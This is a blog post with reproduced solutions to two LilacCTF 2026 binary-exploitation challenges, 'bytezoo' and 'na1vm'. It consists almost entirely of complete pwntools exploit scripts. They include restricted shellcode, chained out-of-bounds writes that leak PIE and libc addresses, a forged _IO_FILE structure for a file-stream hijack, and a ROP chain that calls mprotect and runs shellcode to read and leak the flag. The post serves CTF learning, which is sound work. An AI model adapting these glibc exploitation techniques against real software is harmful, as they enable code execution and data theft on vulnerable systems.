LilacCTF-2026-复现

bytezoo

构造shellcode,但是对于输入的每一种字节码都做了一次检查,要求输入的shellcode中每一种字节码的个数不能超过其本身中每4位上数字的最小值,libc的地址从fs_base中得到

from pwn import *
from pwn_std import *


p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/libc.so.6")

cmd = """
b *$rebase(0x000000000000195D)
"""

shellcode=asm('''
              mov rbp, qword ptr fs:[0xffffffffffffffc8]
              lea rbp, [rbp - 0x18996A]
             
              sub ebx, ebx
              push rbx
              push 0x67616c66              
              push rsp
              pop rdi
              mov esi, ebx
              mov edx, ebx
                        
              push -2
              pop rax
              neg eax
              call rbp
                        
              mov esi, eax
              push rbx
              pop rdi
              inc edi
              mov edx, ebx
              push 100
              pop rax
              mov r10, rax
              push 40
              pop rax
              call rbp             

''')

gdbbug(cmd)
sa("work.",shellcode)

ita()

na1vm

做吐了....................,不过还是学到了不少东西

from pwn import *
from pwn_std import *


p=getProcess("123",13,'./pwn')
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.42-2ubuntu2_amd64/libc.so.6")

'''
while (i_0) {
    v16 = next_from_buf_();
    n0x40 = (v16 >> 56) & 0xFF;
    switch (n0x40) {
        case 0: // 内存→寄存器
        case 1: // 寄存器→内存
        case 2: // 加法+伪随机
        case 3: // 减法+伪随机
        case 8: // 压栈
        case 9: // 压栈(变种)
        case 0xA: // 弹栈+加法
        case 0xB: // 弹栈+减法
        case 0x10: // 校验
        case 0x40: // 清空缓冲
        case 0x80: // 死循环
        default: // 其它
    }
    sigqueue(pid, ...); // 每步都回送结果
    i_0--;
}
'''

def pc(op,dst,src,offset,imm):
    cmd = (dst << 48) | (src << 52) | (offset << 32) | imm
    return f'{op} {cmd}'

def store(reg1, reg2, offset, imm):
    return pc(0x00, reg1, reg2, offset, imm)

def load(reg1, reg2, offset, imm):
    return pc(0x01, reg1, reg2, offset, imm)

def add(reg1, reg2, offset, imm):
    return pc(0x02, reg1, reg2, offset, imm)

def sub(reg1, reg2, offset, imm):
    return pc(0x03, reg1, reg2, offset, imm)

def pushadd(reg1, reg2, offset, imm):
    return pc(0x08, reg1, reg2, offset, imm)

def pushsub(reg1, reg2, offset, imm):
    return pc(0x09, reg1, reg2, offset, imm)

def popadd(reg1, reg2, offset, imm):
    return pc(0x0A, reg1, reg2, offset, imm)

def popsub(reg1, reg2, offset, imm):
    return pc(0x0B, reg1, reg2, offset, imm)

def retstack(imm):
    return pc(0x10,1,0,0,imm)

def retreg(src,imm):
    return pc(0x10,0,src,0,imm)

def resetqueue(imm):
    return pc(0x40, 0, 0, 0, imm)

def subm(pl):
    sla(b'> \n',str(1))
    sla("$",pl)

def exec():
    sla(b'> \n',str(2))



cmd = """
set debug-file-directory /home/alpha/glibc-all-in-one/libs/2.42-2ubuntu2_amd64/.debug/
dir /home/alpha/CTF/glibc-source/glibc-2.42/elf
dir /home/alpha/CTF/glibc-source/glibc-2.42/libio
dir /home/alpha/CTF/glibc-source/glibc-2.42/stdio-common

b *$rebase(0x0000000000001AF7)


b *_IO_wdoallocbuf
b *_IO_wfile_underflow

b *__vfprintf_internal
"""

####先利用一次越界写将enqueue.index给修改的很大,造成一次恶意地址写####
####利用这次恶意地址写来实现覆盖key和secret全部为0####
pl=store(0,1,0xffff,0x018c0101)
subm(pl)
exec()
pl=store(0,0,0,0)
subm(pl)
####保持环境的纯洁,重置一次环境####
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
exec()

####读取栈信息####
pl=retstack(0)
subm(pl)

exec()
ru("Execute result: ")
pie=int(p.recvuntil('\n')[:-1])-(0x5e921c3b6060-0x5e921c3b2000)
print("pie=",hex(pie))

####保持环境的纯洁,重置一次环境####
pl=resetqueue(0)
subm(pl)
exec()

####再利用一次越界写将enqueue.index给修改的很大,造成一次恶意地址写####
####利用这次恶意地址写来实现覆盖stack为bss开头,这样来获取libc上的地址####
pl=store(0,1,0xffff,0x018b0101)
subm(pl)
exec()
pl=store(0,0,0,(pie+0x4040+4))
subm(pl)
####保持环境的纯洁,重置一次环境####
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
exec()

def exec():
    pl=resetqueue(0)
    subm(pl)
    sla(b'> \n',str(2))

####将栈上的信息存储到存储器中####
pl=popadd(1,15,0,0)
subm(pl)
pl=popadd(0,15,0,0)
subm(pl)
exec()

pl=retreg(1,0)
subm(pl)
pl=retreg(0,0)
subm(pl)
exec()

ru("Execute result: ")
lb=int(p.recvuntil('\n')[:-1])<<32
ru("Execute result: ")
lb=lb|int(p.recvuntil('\n')[:-1])-libc.sym["_IO_2_1_stderr_"]
print("libc_base=",hex(lb))

####先将栈给抬高回去####
pl=pushadd(2, 2, 0, 0)
subm(pl)
pl=pushadd(2, 2, 0, (pie+0x4060-0x10)&0xffffffff)
subm(pl)
pl=pushadd(2, 2, 0, ((pie+0x4060-0x10)>>32)&0xfffffff)
subm(pl)
pl=pushadd(2, 2, 0, 0)
subm(pl)
pl=pushadd(2, 2, 0, 0)
subm(pl)

pl=pushadd(2, 2, 0, (lb+0x000000000003cc45)&0xffffffff)
subm(pl)
pl=pushadd(2, 2, 0, ((lb+0x000000000003cc45)>>32)&0xfffffff)
subm(pl)

pl=pushadd(2, 2, 0, (pie+0x4168)&0xffffffff)
subm(pl)
pl=pushadd(2, 2, 0, ((pie+0x4168)>>32)&0xfffffff)
subm(pl)

exec()

#####构造一个假的_IO_FILE结构体,来控制程序的执行流####

libc_base=lb
heap_addr=pie+0x4060
fake_IO_FILE = flat({
    0x0: 0,                          # _IO_read_end      这几个不能用于赋值
    0x8: 0,                          # _IO_read_base     这几个不能用于赋值
    0x10: pie+0x4060+0x1000,         # _IO_write_base   这几个不能用于赋值
    0x18: pie+0x4060+0x1000+1,         # _IO_write_ptr    这几个不能用于赋值
    0x20: 0,                         # _IO_write_end    <<<----fake_IO_wide_data的起始  0x0_IO_read_ptr
    0x28: 0,                         # _IO_buf_base                                    0x8:_IO_read_end
    0x30: 0,                         # _IO_buf_end                                     0x10:_IO_read_base
    0x38: 0,                         # _IO_save_base                                   0x18:_IO_write_base    <<-- 0
    0x40: 0,                         # _IO_backup_base                                 0x20:_IO_write_ptr
    0x48: 0,                         # _IO_save_end                                    0x28:_IO_write_end
    0x50: 0,                         # _markers                                        0x30:_IO_buf_base      <<-- 0
    0x58: 0,                         # _chain                                          0x38:_IO_buf_end
    0x60: 0,                         # _fileno                                         0x40:_IO_save_base
    0x68: 0,                         # _old_offset                                     0x48:_IO_backup_base
    0x70: 0,                         # _cur_column                                     0x50:_IO_save_end
    0x78: lb+(0x7342cc835790-0x7342cc600000),                         # _lock                                           0x58:_IO_state
    0x80: 0,                         # _offset                                         0x60:
    0x88: 0,                         # _codecvt                                        0x68
    0x90: heap_addr+0x20,            # _wide_data                                      0x70:
    0x98: 0,                         # _freeres_list                                   0x78
    0xa0: 0,                         # _freeres_buf                                    0x80
    0xa8: 0,                         # __pad5                                          0x88
    0xb0: 0xffffffff,                # _mode                                           0x90
    0xb8: 0,                         #                                                 0x98
    0xc0: 0,                         #                                                 0xa0
    0xc8:libc_base+libc.sym["_IO_wfile_jumps"]-0x20,         # vtable                                          0xa8
    0xd0:0,                          #                                                 0xb0
    0xd8:0,                          #                                                 0xb8
    0xe0:0,                          #                                                 0xc0
    0xe8:0,                          #                                                 0xc8
    0xf0:0,                          #                                                 0xd0
    0xf8:0x62f0f+libc_base,          #                                                 0xd8
    0x100:heap_addr+0x90,            # 

})
rdi=lb+0x000000000011b87a
rdx=lb+0x48c92
rsi=lb+0x000000000005c207
rsp=lb+0x000000000003cc45
rrop =p64(rdi)+p64(pie+0x4000)+p64(rsi)+p64(0x2000)+p64(rdx)+p64(7)
rrop+=p64(lb+libc.sym["mprotect"])
rrop+=p64(rsi+1)+p64(pie+0x41b0)
shell = f"""
    mov rsp, {hex(pie+0x4060+0x1000)}
    mov rdi, {hex(pie+0x4060+0x1000)}
    mov rsi, {hex(u64(b'.///flag'))}
    mov [rdi], rsi
    mov rsi, 0
    mov rax, 2
    syscall
    mov rdi, rax
    mov rsi, {hex(pie+0x4060+0x1000)}
    mov rdx, 0x100
    xor rax, rax
    syscall
    mov r8, rsi
    mov rdi, {hex(pie+0x4010)}
    mov rbx, [rdi]
    mov rdi, 0x1000000
    xor rbx, rdi
    mov rcx, rax
loop:
    cmp rcx, 0
    jle out
    mov rdx, [r8]
    mov rdi, rbx
    mov rsi, 35
    mov rax, {hex(lb+libc.symbols['sigqueue'])}
    push rcx
    push r8
    call rax
    pop r8
    pop rcx
    add r8, 8
    sub rcx, 8
    jmp loop

out:
    ret
"""
rrop+=asm(shell).ljust(0x100,b'\x00')



print("fake_IO_FILE_length=",hex(len(fake_IO_FILE)))
####现在,分批次将这一部分的结构体给写进去
for i in range(0, len(fake_IO_FILE), 0x8):
    print(u32(fake_IO_FILE[i:i+4]))
    print(u32(fake_IO_FILE[i+4:i+8]))
    pl=pushadd(2, 2, 0, (u32(fake_IO_FILE[i:i+4]))&0xffffffff)
    subm(pl)
    pl=pushadd(2, 2, 0, (u32(fake_IO_FILE[i+4:i+8]))&0xffffffff)
    subm(pl)
    exec()


for i in range(0, len(rrop), 0x8):
    print("length=",hex(len(rrop)))
    print("i=",hex(i))
    print(u32(rrop[i:i+4]))
    print(u32(rrop[i+4:i+8]))
    pl=pushadd(2, 2, 0, (u32(rrop[i:i+4]))&0xffffffff)
    subm(pl)
    pl=pushadd(2, 2, 0, (u32(rrop[i+4:i+8]))&0xffffffff)
    subm(pl)
    exec()


####再利用一次越界写将enqueue.index给修改的很大,造成一次恶意地址写####
####利用这次恶意地址写来实现覆盖stack为原来的栈的开头####
####我现在只有一次写stack的机会了,这一次需要写成Libc中的地址,用于控制程序的执行流

def exec():
    sla(b'> \n',str(2))

pl=store(0,1,0xfdb0-1,0x018b0101)

subm(pl)
exec()
pl=store(0,0,0,(pie+0x4010+4-1))
subm(pl)
####保持环境的纯洁,重置一次环境####
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
pl=resetqueue(0)
subm(pl)
exec()

def exec():
    pl=resetqueue(0)
    subm(pl)
    sla(b'> \n',str(2))

####现在,去篡改fd指针,诱导程序报错####


pl=pushadd(2, 2, 0, 1)
subm(pl)
# forkbug('child',cmd)
exec()

ru(b"Execute result: ")


ita()


LilacCTF-2026-复现
https://a1b2rt.cn//archives/lilacctf-2026-write_up
作者
A1b2rt
发布于
2026年03月06日
许可协议